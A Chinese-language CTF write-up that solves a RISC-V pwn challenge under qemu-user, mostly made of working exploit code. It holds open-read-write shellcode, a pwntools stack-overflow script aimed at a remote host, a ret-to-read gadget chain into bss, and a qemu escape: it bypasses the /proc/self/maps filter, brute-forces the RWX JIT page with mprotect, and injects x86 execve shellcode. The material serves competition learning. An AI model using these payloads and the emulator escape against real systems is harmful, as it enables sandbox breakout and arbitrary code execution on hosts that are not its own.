1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # riscv64-unknown-elf-as orw_flag.asm -o orw_flag # riscv64-unknown-elf-objcopy -S -O binary -j .text orw_flag orw_flag.bin .section .text .globl _start .option rvc _start: #open li a1,0x67616c66 #flag sd a1,8 (sp) addi a1,sp,8 li a0,-100 li a2,0 li a7, 56 # __NR_open ecall c.mv a2,a7 addi a7,a7,7 ecall li a0, 1 addi a7,a7,1 ecall
最终的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *file_path = "./main" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process(["./qemu-riscv64" , "-g" , "1234" , file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x0 else : p = remote('119.28.89.167' , 60001 ) stack = 0x4000800c70 nop = p32(0x00000013 ) p.recvuntil("Input the flag: " ) payload = b"a" *0x118 payload += p64(stack)*2 shellcode = nop * 0xd0 shellcode += p32(0x676175b7 ) + p32(0xc665859b ) + p32(0x00b13223 ) shellcode += p16(0x004c ) + p32(0xf9c00513 ) + p16(0x4601 ) shellcode += p32(0x03800893 ) + p32(0x00000073 ) + p16(0x8646 ) shellcode += p16(0x089d ) + p32(0x00000073 ) + p16(0x4505 ) + p16(0x0885 ) + p32(0x00000073 ) payload += shellcode p.sendline(payload) p.interactive()
这里看了大佬的博客,其用到了一种非常稳定的方法做到了任意代码执行,其找到了一段gadget
。
1 2 3 00010442 93 07 84 ed addi a5,s0,-0x128 00010446 3 e 85 c.mv a0,a500010448 ef 60 20 61 jal ra,read
这一段,由于我们可以控制s0,ra
寄存器,因此我们可以直接将返回地址覆写为该段代码的起始地址,并将s0
设置为bss+0x128
这样就可以将a0
设置为bss
段的地址,就可以向bss
中读取任意长度的代码,之后函数返回的时候直接将返回地址设置为bss
段的地址,就可以非常稳定的执行代码了,这里不用猜远端的stack
地址和添加滑板指令。
Favourite Architecure flag2 qemu逃逸
这里第二个flag:/flag
是400
权限的,也就是只有root
用户可以读,或者运行readflag2
这个程序,很明显这里我们直接调用readflag2
这个程序。但是栈溢出之后我们虽然做到了任意的代码执行,但是程序给出了系统调用的白名单,因此我们需要利用这些系统调用逃逸出qemu
,调用readflag2
这个程序。
这里一开始想到的是通过读取/proc/self/maps
得到qemu
代码段的地址,利用mprotect
更改其权限为可写,将patch
后的代码改回来,使其可以正常的进行系统调用,但是qemu
似乎有特殊的机制,在其内部读取/proc/self/maps
的时候只能显示出进程相关的地址,而qmeu
的地址无法显示出来,因此无法直接获取得到地址。
这里之后看了clang
大佬的博客,qemu
这一部分的源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 static int do_openat (void *cpu_env, int dirfd, const char *pathname, int flags, mode_t mode) { struct fake_open { const char *filename; int (*fill)(void *cpu_env, int fd); int (*cmp)(const char *s1, const char *s2); }; const struct fake_open *fake_open ; static const struct fake_open fakes [] = { { "maps" , open_self_maps, is_proc_myself }, { "stat" , open_self_stat, is_proc_myself }, { "auxv" , open_self_auxv, is_proc_myself }, { "cmdline" , open_self_cmdline, is_proc_myself }, #if defined(HOST_WORDS_BIGENDIAN) != defined(TARGET_WORDS_BIGENDIAN) { "/proc/net/route" , open_net_route, is_proc }, #endif { NULL , NULL , NULL } }; if (is_proc_myself(pathname, "exe" )) { int execfd = qemu_getauxval(AT_EXECFD); return execfd ? execfd : safe_openat(dirfd, exec_path, flags, mode); } for (fake_open = fakes; fake_open->filename; fake_open++) { if (fake_open->cmp(pathname, fake_open->filename)) { break ; } } } static int is_proc_myself (const char *filename, const char *entry) { if (!strncmp (filename, "/proc/" , strlen ("/proc/" ))) { filename += strlen ("/proc/" ); if (!strncmp (filename, "self/" , strlen ("self/" ))) { filename += strlen ("self/" ); } else if (*filename >= '1' && *filename <= '9' ) { char myself[80 ]; snprintf (myself, sizeof (myself), "%d/" , getpid()); if (!strncmp (filename, myself, strlen (myself))) { filename += strlen (myself); } else { return 0 ; } } else { return 0 ; } if (!strcmp (filename, entry)) { return 1 ; } } return 0 ; }
看函数逻辑,这里只需要绕过is_proc_myself
函数的路径判断即可读取全部的内容,这里采用的是路径是/./proc/self/maps
。读取路径完毕之后,即获取了glibc
的地址和qemu
的基址,选择修改mprotect
函数的got
表为system
。
这里的方法其实是有点巧妙的。首先是mprotect(ro_mem, len, 6)
即将ro_mem
这一段修改为可写属性,之后修改mprotect
的got
表为system
,之后修改ro_mem
处为/bin/sh
,接着再次调用mprotect(ro_mem, len, 6)
即可getshell
。
大佬的wp
思路如下,首先在外部看一下vmmap
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwn@eebb5d553168:/$ cat /proc/42/maps 00010000-0006c000 r--p 00000000 00:50 8532122 /home/pwn/main 0006c000-0006f000 rw-p 0005b000 00:50 8532122 /home/pwn/main 0006f000-00071000 rw-p 00000000 00:00 0 4000000000-4000001000 ---p 00000000 00:00 0 4000001000-4000801000 rw-p 00000000 00:00 0 562f43f38000-562f443a1000 r-xp 00000000 00:50 8532123 /home/pwn/qemu-riscv64 562f445a0000-562f445dc000 r--p 00468000 00:50 8532123 /home/pwn/qemu-riscv64 562f445dc000-562f44608000 rw-p 004a4000 00:50 8532123 /home/pwn/qemu-riscv64 562f44608000-562f44625000 rw-p 00000000 00:00 0 562f45060000-562f450e6000 rw-p 00000000 00:00 0 [heap] 7fd134000000-7fd13bfff000 rwxp 00000000 00:00 0 7fd13bfff000-7fd13c000000 ---p 00000000 00:00 0 7fd13c000000-7fd13c021000 rw-p 00000000 00:00 0
这里我们看到存在一个rwx
的段,即代码可执行。应该是qemu JIT Code
的部分,我们将shellcode
写入此处,使得qemu
执行这一部分的代码。这里和之前的mmap
爆破类似,这里我们利用mprotect
来爆破得到rwx
段的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 size_t test_map () { size_t va = 0x7f0000000000 ; size_t inc = 0x000004000000 ; int res; while (1 ) { res = mprotect(va+0x4000 , 0x1000 , PROT_READ|PROT_WRITE|PROT_EXEC); if (res >= 0 ) { printf ("find: %lx\n" , va); break ; } va += inc; } return va; }
之所以起始地址设置为va+0x4000
是要避开qemu
本身的JIT Code
。在得到rwx
段的地址我们将shellcode
写入JIT Code
的部分。shellcode
是打印出here
字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #include <stdlib.h> #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <string.h> void breakpoint () { getchar(); } char sc[] = {0x68 , 0x68 , 0x65 , 0x72 , 0x65 , 0x6a , 0x1 , 0x58 , 0x6a , 0x1 , 0x5f , 0x6a , 0x4 , 0x5a , 0x48 , 0x89 , 0xe6 , 0xf , 0x5 , 0x5d , 0x5d };void * VA;size_t test_map () { size_t va = 0x7f0000000000 ; size_t inc = 0x000004000000 ; int res; while (1 ) { res = mprotect(va+0x4000 , 0x1000 , PROT_READ|PROT_WRITE|PROT_EXEC); if (res >= 0 ) { printf ("find: %lx\n" , va); break ; } va += inc; } return va; } int main () { int res = 0 ; int pid; char *addr; char buf[0x100 ]; memset (buf, 0x90 , 0x100 ); memcpy (buf+0x10 , sc, strlen (sc)); addr = (char *)test_map(); fflush(0 ); breakpoint(); memcpy (addr, sc, strlen (sc)); return 0 ; }
之后我们编译这段代码,用qemu
执行一下。
riscv交叉编译环境搭建 这里按照github
上编译出来的二进制程序存在一定的问题,当我们编译上述代码的时候会报错sys/mman.h
找不到。
1 apt-get install git build-essential gdb-multiarch gcc-riscv64-linux-gnu binutils-riscv64-linux-gnu
静态编译上述的代码
1 riscv64-linux-gnu-gcc -static brute_test.c -o brute_test
使用qemu
运行编译好的静态程序。
1 2 3 4 5 6 root@1c877093faab:~/work/2020starctf/favourite_architecture [!] 80 bad system call find: 7fc23c000000 [!] 80 bad system call hereSegmentation fault
可以看到成功打印出了here
字符串,但是这里有一个问题,就是memcpy
虽然拷贝的是sc
数组中值,但是如果我们将buf
删除或者将sc
拷贝到buf
中的语句删掉执行就不会成功,不知道是什么问题。
这里执行成功之后,我们就可以将shellcode
直接覆写到jit code page
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 # riscv64-linux-gnu-as orw_flag2.asm -o orw_flag2 # riscv64-linux-gnu-objcopy -S -O binary -j .text orw_flag2 orw_flag2.bin _start: li a3, 0x7f0000000000 # base li a4, 0x000004000000 # inc li a5, 0xf000 # offset loop: add a0, a3, a5 li a1, 0x1000 li a2, 7 li a7, 226 # mprotect ecall beq a0, zero, succ add a3, a3, a4 j loop succ: # try output a3 li a1, 0x6f200 sd a3, 0(a1) li a0, 1 li a2, 0x10 li a7, 64 # write ecall # rwx page at a3 # read(0, a3, 0x200) li a0, 0 li a1, 0x6f200 # x86 sc buf li a2, 0x200 li a7, 63 # read ecall # copy from 0x70000 to a3 addi a3, a3, 0x200 #22c addi a1, a1, 0x200 li a2, 0x80 copy: ld a5, 0(a1) sd a5, 0(a3) addi a1, a1, -4 addi a3, a3, -4 beq a2, zero, finish addi a2, a2, -1 j copy finish: li a7, 93 # exit ecall
这段shellcode
的作用就是爆破出jit code page address
之后,调用read
读取我们输入的execve("/readflag2") x86 shellcode
到bss
段中,之后将其拷贝到jit code page
中。完成之后即可调用我们输入的x86 shellcode
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *file_path = "./main" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 if debug: p = process(["./qemu-riscv64" , file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x0 else : p = remote('172.22.0.1' , 60001 ) bss = 0x0006edb0 call_read = 0x00010442 nop = p32(0x00000013 ) p.recvuntil("Input the flag: " ) payload = b"a" *0x118 + p64(bss + 0x128 ) + p64(call_read) payload += cyclic(0x1f8 ) + p64(bss) p.sendline(payload) shellcode = open ("orw_flag2.bin" , "rb" ).read() p.sendline(shellcode) p.recvuntil("You are wrong ._.\n" ) p.recvuntil("You are wrong ._.\n" ) jit_code_address = u64(p.recv(8 )) log.success("jit code address is {}" .format (hex (jit_code_address))) orw_flag2 = b"\x90" *0x100 orw_flag2 += asm(shellcraft.linux.execve("/readflag2" ) + shellcraft.linux.exit()) orw_flag2 = orw_flag2.ljust(0x200 , b"\x00" ) p.send(orw_flag2) p.interactive()